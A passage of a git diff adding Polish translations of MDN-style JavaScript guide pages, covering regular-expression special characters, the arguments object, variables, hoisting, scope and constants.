ogranicznik słowa.</li> + </ul> + + <ul> + <li>przed znakami specjalnymi oznacza, że znak ten nie jest specjalny i jest rozumiany dosłownie. Na przykład * jest znakiem specjalnym, który oznacza 0 lub więcej wystąpień znaku poprzedzającego; np. /a*/ oznacza 0 lub więcej znaków 'a'. Aby uzyskać znak dosłowny *, należy poprzedzić go ukośnikiem lewym; np. /a\*a/ oznacza 'a*a'.</li> + </ul> + </td> + </tr> + <tr> + <td>^</td> + <td>Pasuje do początku wpisywanego tekstu. Jeśli flaga multiline (wiele linii) jest ustawiona na true, dodatkowo pasuje do każdej nowej linii. + <p>Np. <code>/^A/</code> nie da nam w efekcie 'A' w łańcuchu "an A", ale da nam 'A' w łańcuchu "An A"</p> + </td> + </tr> + <tr> + <td>$</td> + <td>Pasuje do końca wprowadzanych danych. Jeśli flaga multiline jest ustawiona na true, to pasuje również do każdego zakończenia linii. Np. <code>/t$/</code> zwróci 't' z "eat", ale nie z "eater"</td> + </tr> + <tr> + <td>*</td> + <td>Pasuje jeśli poprzedzający znak wystąpił 0 bądź więcej razy. + <p>Np. <code>/bo*/</code> zwróci 'boooo' z "A Ghost booooed" oraz 'b' z "A bird warbled", ale nie zwróci nic z łańcucha "A goat grunted".</p> + </td> + </tr> + <tr> + <td>+</td> + <td>Pasuje jeśli poprzedzający znak wystąpił 1 lub więcej razy. Równoważne z {1,} Np. <code>/a+/</code> dopasuje 'a' z łańcucha "candy" oraz wszystkie literki a w "caaaaaaandy".</td> + </tr> + <tr> + <td>?</td> + <td>Pasuje jeśli poprzedzający znak wystąpił raz lub nie wystąpił wcale. + <p>Np. <code>/e?le?/</code> dopasuje 'el' w łańcuchu "angel" oraz 'le' w "angle".</p> + + <p>Jeśli ? wystąpi zaraz za *, +, ? lub {}, to znaki te będą zwracały najkrótsze możliwe dopasowania, w przeciwieństwie do zwykłego zachowania, które możemy określić jako zachłanne (zwraca najdłuższe możliwe dopasowania).</p> + + <p>Np. <code>/bo*?/</code> zwróci 'b' z "A Ghost booooed".</p> + Znak ten używamy też w<em>lookahead assertions</em> , wyjaśnione w komórkach x(?=y) i x(?!y) w tej tabeli.</td> + </tr> + <tr> + <td>.</td> + <td>(kropka) pasuje do każdego pojedynczego znaku oprócz znaku nowej linii. Np. <code>/.n/</code> z łańcucha "nay, an apple is on the tree", dopasuje 'an' i 'on', ale nie 'nay'.</td> + </tr> + <tr> + <td>(x)</td> + <td>Matches 'x' and remembers the match. These are called capturing parentheses. For example, <code>/(foo)/</code> matches and remembers 'foo' in "foo bar." The matched substring can be recalled from the resulting array's elements <code>1</code>, ..., <code>n</code>.</td> + </tr> + <tr> + <td>(?:x)</td> + <td>Matches 'x' but does not remember the match. These are called non-capturing parentheses. The matched substring can not be recalled from the resulting array's elements <code>1</code>, ..., <code>n</code>.</td> + </tr> + <tr> + <td>x(?=y)</td> + <td>Matches 'x' only if 'x' is followed by 'y'. For example, <code>/Jack(?=Sprat)/</code> matches 'Jack' only if it is followed by 'Sprat'. <code>/Jack(?=Sprat|Frost)/</code> matches 'Jack' only if it is followed by 'Sprat' or 'Frost'. However, neither 'Sprat' nor 'Frost' is part of the match results.</td> + </tr> + <tr> + <td>x(?!y)</td> + <td>Matches 'x' only if 'x' is not followed by 'y'. For example, <code>/\d+(?!\.)/</code> matches a number only if it is not followed by a decimal point. The regular expression <code>/\d+(?!\.)/.exec("3.141")</code> matches '141' but not '3.141'.</td> + </tr> + <tr> + <td>x|y</td> + <td>oznacza 'x' lub 'y'. Na przykład <code>/green|red/</code> pasuje do 'green' w "green apple" i do 'red' w "red apple."</td> + </tr> + <tr> + <td>{n}</td> + <td>gdzie n jest liczbą całkowitą dodatnią. Oznacza dokładnie n wystąpień znaku poprzedzającego. Na przykład <code>/a{2}/</code> nie pasuje do 'a' w "candy,", za to pasuje do wszystkich znaków 'a' w "caandy," i pierwszych dwóch znaków 'a' w "caaandy."</td> + </tr> + <tr> + <td>{n,}</td> + <td>Where n is a positive integer. Matches at least n occurrences of the preceding character. For example, <code>/a{2,}/</code> doesn't match the 'a' in "candy", but matches all of the a's in "caandy" and in "caaaaaaandy."</td> + </tr> + <tr> + <td>{n,m}</td> + <td>Where n and m are positive integers. Matches at least n and at most m occurrences of the preceding character. For example, <code>/a{1,3}/</code> matches nothing in "cndy", the 'a' in "candy," the first two a's in "caandy," and the first three a's in "caaaaaaandy" Notice that when matching "caaaaaaandy", the match is "aaa", even though the original string had more a's in it.</td> + </tr> + <tr> + <td><code>xyz</code></td> + <td>zestaw znaków. Pasuje do każdego znaku w nawiasie. Można określić zakres znaków za pomocą łącznika. Na przykład <code>abcd</code> oznacza to samo co <code>a-d</code>. Pasują one do 'b' w "brisket" i do 'c' w "ache".</td> + </tr> + <tr> + <td><code>^xyz</code></td> + <td>A negated or complemented character set. That is, it matches anything that is not enclosed in the brackets. You can specify a range of characters by using a hyphen. For example, <code>^abc</code> is the same as <code>^a-c</code>. They initially match 'r' in "brisket" and 'h' in "chop."</td> + </tr> + <tr> + <td><code>\\b</code></td> + <td>Matches a backspace. (Not to be confused with \b.)</td> + </tr> + <tr> + <td>\b</td> + <td>Matches a word boundary, such as a space or a newline character. (Not to be confused with <code>\\b</code>.) For example, <code>/\bn\w/</code> matches the 'no' in "noonday";<code>/\wy\b/</code> matches the 'ly' in "possibly yesterday."</td> + </tr> + <tr> + <td>\B</td> + <td>Matches a non-word boundary. For example, <code>/\w\Bn/</code> matches 'on' in "noonday", and <code>/y\B\w/</code> matches 'ye' in "possibly yesterday."</td> + </tr> + <tr> + <td>\cX</td> + <td>Where X is a control character. Matches a control character in a string. For example, <code>/\cM/</code> matches control-M in a string.</td> + </tr> + <tr> + <td>\d</td> + <td>Matches a digit character. Equivalent to <code>0-9</code>. For example, <code>/\d/</code> or <code>/0-9/</code> matches '2' in "B2 is the suite number."</td> + </tr> + <tr> + <td>\D</td> + <td>Matches any non-digit character. Equivalent to <code>^0-9</code>. For example, <code>/\D/</code> or <code>/^0-9/</code> matches 'B' in "B2 is the suite number."</td> + </tr> + <tr> + <td>\f</td> + <td>Matches a form-feed.</td> + </tr> + <tr> + <td>\n</td> + <td>Matches a linefeed.</td> + </tr> + <tr> + <td>\r</td> + <td>Matches a carriage return.</td> + </tr> + <tr> + <td>\s</td> + <td>Matches a single white space character, including space, tab, form feed, line feed. Equivalent to + <p><code>\\f\\n\\r\\t\\v\\u00A0\\u2028\\u2029</code>.</p> + For example, <code>/\s\w*/</code> matches ' bar' in "foo bar."</td> + </tr> + <tr> + <td>\S</td> + <td>Matches a single character other than white space. Equivalent to + <p><code>^ \\f\\n\\r\\t\\v\\u00A0\\u2028\\u2029</code>.</p> + For example, <code>/\S\w*/</code> matches 'foo' in "foo bar."</td> + </tr> + <tr> + <td>\t</td> + <td>Matches a tab.</td> + </tr> + <tr> + <td>\v</td> + <td>Matches a vertical tab.</td> + </tr> + <tr> + <td>\w</td> + <td>Matches any alphanumeric character including the underscore. Equivalent to <code>A-Za-z0-9_</code>. For example, <code>/\w/</code> matches 'a' in "apple," '5' in "$5.28," and '3' in "3D."</td> + </tr> + <tr> + <td>\W</td> + <td>Matches any non-word character. Equivalent to <code>^A-Za-z0-9_</code>. For example, <code>/\W/</code> or <code>/^A-Za-z0-9_/</code> matches '%' in "50%."</td> + </tr> + <tr> + <td>\n</td> + <td>Where n is a positive integer. A back reference to the last substring matching the n parenthetical in the regular expression (counting left parentheses). For example, <code>/apple(,)\sorange\1/</code> matches 'apple, orange,' in "apple, orange, cherry, peach."</td> + </tr> + <tr> + <td>\0</td> + <td>Matches a NUL character. Do not follow this with another digit.</td> + </tr> + <tr> + <td>\xhh</td> + <td>Matches the character with the code hh (two hexadecimal digits)</td> + </tr> + <tr> + <td>\uhhhh</td> + <td>Matches the character with the code hhhh (four hexadecimal digits).</td> + </tr> + </tbody> +</table> + +<p><small><strong>Tabela 4.1: Znaki specjalne w wyrażeniach regularnych.</strong></small></p> + +<h4 id="U.C5.BCywanie_nawias.C3.B3w" name="U.C5.BCywanie_nawias.C3.B3w">Używanie nawiasów</h4> + +<p>Parentheses around any part of the regular expression pattern cause that part of the matched substring to be remembered. Once remembered, the substring can be recalled for other use, as described in <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_wyra%c5%bceniami_regularnymi/U%c5%bcycie_odpowiedniego_znaku">Using Parenthesized Substring Matches</a>.</p> + +<p>For example, the pattern <code>/Chapter (\d+)\.\d*/</code> illustrates additional escaped and special characters and indicates that part of the pattern should be remembered. It matches precisely the characters 'Chapter ' followed by one or more numeric characters (\d means any numeric character and + means 1 or more times), followed by a decimal point (which in itself is a special character; preceding the decimal point with \ means the pattern must look for the literal character '.'), followed by any numeric character 0 or more times (\d means numeric character, * means 0 or more times). In addition, parentheses are used to remember the first matched numeric characters.</p> + +<p>This pattern is found in "Open Chapter 4.3, paragraph 6" and '4' is remembered. The pattern is not found in "Chapter 3 and 4", because that string does not have a period after the '3'.</p> + +<p>To match a substring without causing the matched part to be remembered, within the parentheses preface the pattern with <code>?:</code>. For example, <code>(?:\d+)</code> matches one or more numeric characters but does not remember the matched characters.</p> + +<p><br> + {{ PreviousNext("Przewodnik_po_języku_JavaScript_1.5:Tworzenie_wyrażenia_regularnego", "Przewodnik_po_języku_JavaScript_1.5:Praca_z_wyrażeniami_regularnymi") }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zastosowanie_obiektu_arguments/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zastosowanie_obiektu_arguments/index.html new file mode 100644 index 0000000000..8422fdf2c0 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zastosowanie_obiektu_arguments/index.html @@ -0,0 +1,41 @@ +--- +title: Zastosowanie obiektu arguments +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zastosowanie_obiektu_arguments +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Zastosowanie_obiektu_arguments" name="Zastosowanie_obiektu_arguments">Zastosowanie obiektu <code>arguments</code></h3> +<p>Argumenty funkcji będą je utrzymywać je w tablicy. Wewnątrz funkcji, możemy zaadresować lub przydzielić argumenty w następujący sposób:</p> +<pre>arguments[i] +</pre> +<p>gdzie: <code>i</code> jest kolejną liczbą porządkową znajdującą się wewnątrz funkcji, pierwszym argumentem zawsze jest 0 (zero). Więc, pierwszy argument funkcji to <code>arguments{{ mediawiki.external(0) }}</code>. Łączna liczba argumentów jest podana w <code>arguments.length</code>.</p> +<p>Używając argumentów tablicy (<code>arguments</code>) możesz nazwać większość funkcji wraz ze swoimi argumentami niż formalna deklaracja akceptującą. Często jeśli nie wiesz jak wiele będzie potrzebnych argumentów funkcji. Używaj <code>arguments</code>.length do określenie aktualnie argumentów do funkcji, potrzebnych do opisania każdego argumentu w tablicy <code>arguments</code>.</p> +<p>Na przykład, stanowią one funkcje, które powiążą kilka łańcuchów danych. Tylko oficjalny argument dla funkcji jest łańcuch, którego specyficzne znaki separacji powiążą odpowiednie elementy. Funkcja jest definiowana następująco:</p> +<pre>function myConcat(separator) { + var result="" // initialize list + // iterate through arguments + for (var i=1; i<arguments.length; i++) { + result += arguments[i] + separator + } + return result +} +</pre> +<p>Możemy podawać jakiekolwiek liczby argumentów funkcji, i to zostanie utworzona lista używająca każdej pozycji zawartej na liście.</p> +<pre>// zwraca "red, orange, blue, " +myConcat(", ","red","orange","blue") + +// zwraca "elephant; giraffe; lion; cheetah; " +myConcat("; ","elephant","giraffe","lion", "cheetah") + +// zwraca "sage. basil. oregano. pepper. parsley. " +myConcat(". ","sage","basil","oregano", "pepper", "parsley") +</pre> +<p>Zobacz: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Funkcja obiektu</a> w dokumentacji języka JavaScript, aby uzyskać więcej informacji.</p> +<p><b>JavaScript 1.3 i wersje wcześniejsze</b><br> + Argument tablicy jest właściwością obiektu <code>Function</code> i może on być umieszczony przed nazwą funkcji, tak jak poniżej:</p> +<p><code>functionName.arguments(i)</code></p> +<p> </p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zmienne/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zmienne/index.html new file mode 100644 index 0000000000..af6e304537 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zmienne/index.html @@ -0,0 +1,63 @@ +--- +title: Zmienne +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zmienne +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Grammar_and_types +--- +<p> </p> +<p><span class="comment">Trzeba całość wyczyścić i uzgodnić z wersją EN: zmiany 06-2006</span></p> +<h3 id="Zmienne" name="Zmienne">Zmienne</h3> +<p>Zmiennych używa się jako symbolicznych nazw dla wartości w Twojej aplikacji. Nazwy zmiennych, nazywane <em>identyfikatorami</em>, podporządkowane są pewnym regułom.</p> +<p><em>Identyfikator</em> JavaScript musi zaczynać się literą, podkreśleniem (_) lub znakiem dolara ($); kolejne znaki mogą być cyframi (0-9). Ponieważ JavaScript rozróżnia duże/małe litery, litery oznaczają znaki od "A"do "Z" (duże litery) oraz znaki od "a" do "z" (małe litery).</p> +<p>Poczynając od JavaScript 1.5, w identyfikatorze możesz używać znaków ISO 8859-1 lub Unicode takich jak å czy ą. Jako znaków w identyfikatorze możesz także używać \uXXXX - sekwencji ucieczki Unicode wypisanych na stronie <a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode">Sekwencje ucieczki do Unicode</a>.</p> +<p>Niektóre przykłady prawidłowych nazw to <code>Number_hits</code>, <code>temp99</code> i <code>_name</code>.</p> +<h4 id="Deklaracja_zmiennych" name="Deklaracja_zmiennych">Deklaracja zmiennych</h4> +<p>Możesz zadeklarować zmienne na dwa sposoby:</p> +<ul> <li>Za pomocą słowa kluczowego <code>var</code>. Na przykład, <code>var x = 42</code></li> <li>Poprzez proste przypisanie wartości. Na przykład, <code>x = 42</code></li> +</ul> +<h4 id="Ocena_zmiennych" name="Ocena_zmiennych">Ocena zmiennych</h4> +<p>Zmienna lub element tablicy, którym nie przypisano wartości, mają wartość <em>undefined</em>. Rezultat oceny nieprzydzielonej zmiennej zależny jest od sposobu jej deklaracji:</p> +<ul> <li>Jeśli nieprzydzielona zmienna została zadeklarowana bez <code>var</code>, wynikiem oceny będzie <em>runtime error</em>.</li> <li>Jeśli nieprzydzielona zmienna została zadeklarowana z <code>var</code>, wynikiem oceny będzie wartość niezdefiniowana lub NaN w kontekstach numerycznych.</li> +</ul> +<p>Poniższy kod demonstruje ocenę nieprzydzielonych zmiennych.</p> +<pre>function f1() { + return y - 2; +} +f1() //Powoduje runtime error + +function f2() { + return var y - 2; +} +f2() //zwraca NaN +</pre> +<p>Aby określić, czy zmienna posiada wartość, możesz użyć <code>undefined</code>. W poniższym kodzie zmienna <code>input</code> nie posiada przypisanej wartości, więc instrukcja <code>if</code> przyjmuje wartość <code>true</code>.</p> +<pre>var input; +if(input === undefined){ + doThis(); +} else { + doThat(); +}</pre> +<p>Wartość <code>undefined</code> zachowuje sie jak logiczne <em>false</em> w odpowiednim kontekście (boolean). Poniższy kod wykonuje funkcję <code>myFunction</code>, ponieważ element <code>array</code> nie został zdefiniowany:</p> +<pre>myArray=new Array() +if (!myArray[0]) + myFunction()</pre> +<p>Podczas oceny wartości zmiennej <em>null</em>, wartość <em>null</em> zachowuje się jak <em>0</em> w kontekście numerycznym oraz jako false w kontekście logicznym (boolean). Na przykład:</p> +<pre>var n = null +n * 32 //zwraca 0</pre> +<h4 id="Zakres_zmiennych" name="Zakres_zmiennych">Zakres zmiennych</h4> +<p>Zmienna zadeklarowana poza jakąkolwiek funkcją nazywana jest zmienną <em>globalną</em> (<em>global</em>); staje się ona dostępna dla dowolnego kodu w bieżącym dokumencie. Zmienna zadeklarowana wewnątrz funkcji staje się zmienną <em>lokalną</em> (<em>local</em>) i dostępna będzie jedynie wewnątrz tej funkcji.</p> +<p>Użycie <code>var</code> do zadeklarowania zmiennej <em>global</em> jest opcjonalne. Jednakże, musisz użyć <code>var</code> do zadeklarowania zmiennej wewnątrz funkcji.</p> +<p>Masz dostęp do zmiennych globalnych zadeklarowanych w jednym oknie lub ramce z innego okna/ramki poprzez podanie nazwy okna/ramki. Na przykład, jeśli zmienna <code>phoneNumber</code> jest zadeklarowana w dokumencie <code>FRAMESET</code>, to można się do niej odwołać z dokumentu potomnego poprzez <code>parent.phoneNumber</code>.</p> +<h4 id="Zmienne_globalne" name="Zmienne_globalne">Zmienne globalne</h4> +<p>Zmienne globalne są w istocie własnościami <em>obiektu globalnego</em>. W stronach internetowych obiektem globalnym jest <a href="/pl/DOM/window" title="pl/DOM/window">window</a>. +<span class="comment">dodać link wewnętrzny</span> Możesz wiec ustawiać i odczytywać zmienne globalne przy użyciu składni <code>window.<em>zmienna</em></code>. Analogicznie, podając nazwę ramki lub okna, możesz uzyskać dostęp do zmiennych zadeklarowanych w tym oknie lub ramce z innego okna lub ramki. Przykładowo: jeśli zmienna nazwana <code>numerTelefonu</code> została zadeklarowana w dokumencie <code>FRAMESET</code>, możesz odwołać się do tej zmiennej z ramki podrzędnej poprzez <code>parent.numerTelefonu</code>.</p> +<p><br> +{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Wartości", "Przewodnik po języku JavaScript 1.5:Stałe") }}</p> +<p><br> +</p> + +<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Variables", "es": "es/Gu\u00eda_JavaScript_1.5/Variables", "fr": "fr/Guide_JavaScript_1.5/Variables", "ja": "ja/Core_JavaScript_1.5_Guide/Variables", "ko": "ko/Core_JavaScript_1.5_Guide/Variables", "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u53d8\u91cf" } ) }}</p> diff --git a/files/pl/web/javascript/guide/składnia_i_typy/index.html b/files/pl/web/javascript/guide/składnia_i_typy/index.html new file mode 100644 index 0000000000..98e66063d0 --- /dev/null +++ b/files/pl/web/javascript/guide/składnia_i_typy/index.html @@ -0,0 +1,595 @@ +--- +title: Składnia i typy +slug: Web/JavaScript/Guide/Składnia_i_typy +tags: + - JavaScript + - Poradnik +translation_of: Web/JavaScript/Guide/Grammar_and_types +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</div> + +<p class="summary">Ten rozdział porusza temat podstawowych elementów języka, takich jak składnia, deklaracje zmiennych, typy danych oraz literały. </p> + +<h2 id="Podstawy">Podstawy</h2> + +<p>Składnia JavaScripta zapożycza wiele rozwiązań użytych w Javie, jednak w jej konstrukcji można zauważyć również wpływy języków takich jak Awk, Perl i Python</p> + +<p>JavaScript jest językiem, w którym <strong>rozróżnialna jest wielkość liter,</strong> oraz wspierany jest standard znaków <strong>Unicode.</strong></p> + +<p>W JavaScripcie instrukcje nazywane są {{Glossary("Wyrażenie", "wyrażeniami")}} i rozdzielane średnikiem (;). Spacje, tabulatury i znaki nowej linii zaliczają się do grupy tak zwanych znaków białych. Kod źródłowy skryptów napisanych w JavaScripcie skanowany jest przez interpreter od lewej do prawej i konwertowany w sekwencje elementów wejścia, które reprezentowane są przez tokeny, znaki kontrolne, znaki przerwania linii, komentarze i białe znaki. ECMAScript definiuje również zestaw słów kluczowych i literałów oraz zasady automatycznego umieszczania średników (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">ASI</a>), tak by zakończyć dane wyrażenie, jednakże wykorzystywanie tej zasady wiąże się z efektami ubocznymi, dlatego zaleca się samodzielne umieszczanie średników. Więcej informacji na ten temat znajdziesz w szczegółowym opisie <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">gramatyki języka.</a> </p> + +<h2 id="Komentarze">Komentarze</h2> + +<p>Składnia komentarzy jest identyczna jak ta używana w języku C++ oraz w wielu innych.</p> + +<pre class="brush: js">// Komentarz w jednej linii + +/* to jest dłuższy, + wieloliniowy komentarz + */ + +/* Nie możesz jednak /* zagnieżdzać komentarzy */ SyntaxError */</pre> + +<h2 id="Deklaracje">Deklaracje </h2> + +<p>W języku JavaScript występują trzy typy deklaracji.</p> + +<dl> + <dt>{{jsxref("Statements/var", "var")}}</dt> + <dd>Deklaruje zmienną, opcjonalnie inicjalizując ją podaną wartością.</dd> + <dt>{{experimental_inline}} {{jsxref("Statements/let", "let")}}</dt> + <dd>Deklaruje zmienną lokalną, ograniczoną do bloku w którym jest zawarta, opcjonalnie inicjalizując ją podaną wartością. </dd> + <dt>{{experimental_inline}} {{jsxref("Statements/const", "const")}}</dt> + <dd>Deklaruje zmienną stałą tylko do odczytu. </dd> +</dl> + +<h3 id="Zmienne">Zmienne</h3> + +<p>Możesz używać zmiennych jako symbolicznych nazw oraz wartości w swojej aplikacji. Nazwy zmiennych są wtedy nazywane {{Glossary("Identyfikator", "identyfikatorami")}} i podlegają pewnym regułom. </p> + +<p>W języku JavaScript indentyfikator musi rozpoczynać się od litery, podkreślnika(_) lub symbolu dolara ($). Pozostałe znaki w indetyfikatorze mogą być także cyframi(0-9). Ponieważ JavaScript rozróżnia wielkość liter, znaki jakich możemy użyć jako nazw identyfikatora mogą być zarówno wielkimi (A-Z; uppercase) jak i małymi (a-z; lowercase) literami alfabetu. </p> + +<p>Możesz również użyć ISO 8859-1 lub znaków Unicodu dla liter takich jak å i ü. Możesz także użyć <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">symboli graficzne definiowanych przez Unicode</a> jako znaków identyfikatora.</p> + +<p>Przykładowymi nazwami zmiennych, z których możemy bezpiecznie korzystać są <code>Number_hits</code>, <code>temp99</code>, oraz <code>_name</code>.</p> + +<h3 id="Deklarowanie_zmiennych">Deklarowanie zmiennych</h3> + +<p>Zmienną możemy deklarować na trzy sposoby:</p> + +<ul> + <li>Wykorzystując słowo kluczowe {{jsxref("Statements/var", "var")}}. Na przykład, var x = 42. Wykorzystując tą opcje możemy deklarować zarówno zmienne lokalne jak i globalne.</li> + <li>Przez podstawienie wartości do zmiennej. Na przykład x = 42. Jednakże w ten sposób zadeklarować możemy jedynie zmienne globalne, które nie mogą być zmieniane z poziomu lokalnego. W trybie ścisłym wygeneruje nam to ostrzeżenie, stąd też nie jest to preferowana metoda. </li> + <li>Za pomocą słowa kluczowego {{jsxref("Statements/let", "let")}}. Na przykład let y = 13. W tym przypadku deklarujemy zmienną ograniczoną do lokalnej <a href="#Variable_scope">przestrzeni nazw</a>, o której więcej informacji znajdziesz poniżej. </li> +</ul> + +<h3 id="Ewaluacja_zmiennych">Ewaluacja zmiennych</h3> + +<p>Zmienna deklarowana przy użyciu <code>var</code> lub <code>let</code>, której nie przypiszemy początkowej wartości przyjmie automatycznie wartość {{jsxref("undefined")}}.</p> + +<p>W poniższym przykładzie chcemy uzyskać dostęp do niezadeklarowanej zmiennej, co skutkować będzie błędem {{jsxref("ReferenceError")}}:</p> + +<pre class="brush: js">var a; +console.log("The value of a is " + a); // W konsoli pojawi się komunikat "The value of a is undefined" +console.log("The value of b is " + b); // wyrzuci wyjątek ReferenceError +</pre> + +<p>Możesz użyć wartości <code>undefined</code> do sprawdzenia czy dana zmienna posiada jakąś wartość. W poniższym kodzie zmienna <code>input</code> nie posiada przypisanej wartości, dlatego instrukcja <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else" title="en-US/docs/JavaScript/Reference/Statements/if...else">if</a></code> zwróci nam wartość <code>true</code>.</p> + +<pre class="brush: js">var input; +if(input === undefined){ + doThis(); +} else { + doThat(); +} +</pre> + +<p>Wartość <code>undefined</code> zachowuje się jak <code>false</code>, kiedy używana jest w kontekście funkcji boolowskich. W poniższym przykładzie kod zawarty w instrukcji if zostanie uruchomiony, ponieważ żądany element nie istnieje w tej tablicy.</p> + +<pre class="brush: js">var myArray = []; +if (!myArray[0]) myFunction(); +</pre> + +<p>Wartość <code>undefined</code> konwertowana jest do wartości <code>NaN</code> kiedy używana jest w kontekście numerycznym. </p> + +<pre class="brush: js">var a; +a + 2; // ewaluacja do NaN</pre> + +<p>Kiedy ewaluowana jest zmienna typu {{jsxref("null")}}, zachowuje się ona jak 0 w kontekście numerycznym i jako false w kontekście funkcji boolowskich. Ilustruje to poniższy przykład. </p> + +<pre class="brush: js">var n = null; +console.log(n * 32); // zaloguje 0 w konsoli +</pre> + +<h3 id="Zasięg_zmiennej">Zasięg zmiennej</h3> + +<p>Zmienna, którą zadeklarujemy poza funkcją nazywana jest zmienną <em>globalną</em>, ponieważ jest ona dostępna z każdego miejsca w naszym kodzie. Jeżeli zmienna deklarowana jest wewnątrz funkcji, nazwana jest wtedy <em>lokalną</em>, ponieważ używać jej możemy tylko i wyłączenie w ciele tej funkcji. </p> + +<p>JavaScript przed wersją ECMAScript 6 nie posiadał zasięgu blokowego, zamiast tego zmienna zadeklarowana w danym bloku była funkcją lokalną dla tej <em>funkcji (lub zasięgu globalnego)</em>. Dla przykladu poniższy kod pokaże nam wartość 5, ponieważ zasięgiem zmiennej x jest funkcja, w której została ona zdefiniowana, a nie blok, którym w tym przypadku jest funkcja <code>if</code>. </p> + +<pre class="brush: js">if (true) { + var x = 5; +} +console.log(x); // 5 +</pre> + +<p>Zachowanie zmieni się, kiedy użyjemy deklaracji <code>let</code> wprowadzonej w standardzie ECMAScript 6.</p> + +<pre class="brush: js">if (true) { + let y = 5; +} +console.log(y); // ReferenceError: y is not defined +</pre> + +<h3 id="Podnoszenie_zmiennych">Podnoszenie zmiennych</h3> + +<p>Kolejną niecodzienną rzeczą, na którą natkniemy się pracując z JavaScript'em jest fakt, że bez żadnego błędu możemy uzyskać dostęp do zmiennych, które zadeklarowane są dalej w naszym skrypcie. Ta koncepcja zwana jest <strong>podnoszeniem lub windowaniem (ang. </strong><strong><em>hoisting</em>)</strong>, ponieważ zmienne są niejako wyciągane do góry wyrażenia. Nie możemy jednak używać w ten sposób zmiennych, które nie zostały zinicjalizowane, ponieważ zwrócą one wartość <code>undefined</code>. </p> + +<pre class="brush: js">/** + * Przykład 1 + */ +console.log(x === undefined); // Zwróci nam wartość "true" +var x = 3; + +/** + * Przykład 2 + */ +// zwróci wartość undefined +var myvar = "my value"; + +(function() { + console.log(myvar); // undefined + var myvar = "local value"; +})(); +</pre> + +<p>Powyższe przykłady intepretowane będą tak samo jak:</p> + +<pre class="brush: js">/** + * Przykład 1 + */ +var x; +console.log(x === undefined); // Zwaraca wartość "true" +x = 3; + +/** + * Przykład 2 + */ +var myvar = "my value"; + +(function() { + var myvar; + console.log(myvar); // undefined + myvar = "local value"; +})(); +</pre> + +<p>Przez podnoszenie wszystkie zmienne deklarowane poprzez użycie <code>var</code>, w miarę możliwości powinny być umieszczane na górze funkcji. Zwiększa to czytelność kodu i traktowane jest jako dobra praktyka. </p> + +<p>W ECMAScript 2015 <code>let (const)</code><strong> nie zostaną podniesione</strong> na górę bloku kodu. Jednak odwołanie do zmiennej, w bloku przed zadeklarowanymi, da w rezultacie <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError">ReferenceError</a>. Zmienne będą w tzw. "tymczasowej martwej strefie" od początku bloku aż do stwierdzenia są przetwarzane.</p> + +<pre>function do_something() { console.log(foo); // ReferenceError let foo = 2; }</pre> + +<h3 id="Zmienne_globalne">Zmienne globalne</h3> + +<p>Zmienne globalne są w istocie właściwością <em>obiektu globalnego</em>. W przypadku stron internetowych obiektem tym jest {{domxref("window")}}, co pozwala na wykorzystywanie i manipulowanie zmiennymi globalnymi za pomocą składni <code>window.<em>variable</em></code>.</p> + +<p>Pozwala to także na wykorzystywanie zmiennych globalnych zadeklarowanych w jednym oknie przez inne okno, poprzez jego nazwę. Na przykład zmienną <code>phoneNumber</code> zadeklarowaną w jednym dokumencie, możemy uzyskać poprzez wykorzystanie <code>parent.phoneNumber.</code></p> + +<h3 id="Stałe">Stałe</h3> + +<p>Możesz także tworzyć zmienne tylko do odczytu, zwane zmiennymi stałymi poprzez wykorzystywanie slowa kluczowego {{jsxref("Statements/const", "const")}}. Składnia identyfikatora stałego jest taka sama jak identyfikatora zmiennej. Musi zaczynać się od litery, podkreślnika lub symbolu dolara i może zawierać cyfry i znaki alfabetu. </p> + +<pre class="brush: js">const prefix = '212'; +</pre> + +<p>Zmienna nie może zostać ponownie zadeklarowana lub przyjąć nowej wartości kiedy działa nasz skrypt. Możemy to zrobić jedynie przy jej inicjalizacji.</p> + +<p>Zasady zasięgu są dla niej takie same jak dla zmiennych tworzonych z użyciem <code>let</code>. Jeżeli pominiemy słowo kluczowe <code>const</code> identyfikator będzie intepretowany jako reprezentacja zmiennej.</p> + +<p>Limitacją dla stałych jest fakt, że nie możemy zadeklarować takiej, która wykorzystuje nazwę występującą już jako identyfikator zmiennej lub funkcji w tym samym bloku. Zachowanie to ilustruje poniższy przykład.</p> + +<pre class="example-bad brush: js">// SPOWODUJE TO WYRZUCENIE BŁĘDU +function f() {}; +const f = 5; + +// TO RÓWNIEŻ SPOWODUJE BŁĄD +function f() { + const g = 5; + var g; + + //instrukcje +} +</pre> + +<p>Jednak atrybuty obiektu nie są chronione, , object attributes are not protected, więc następujące 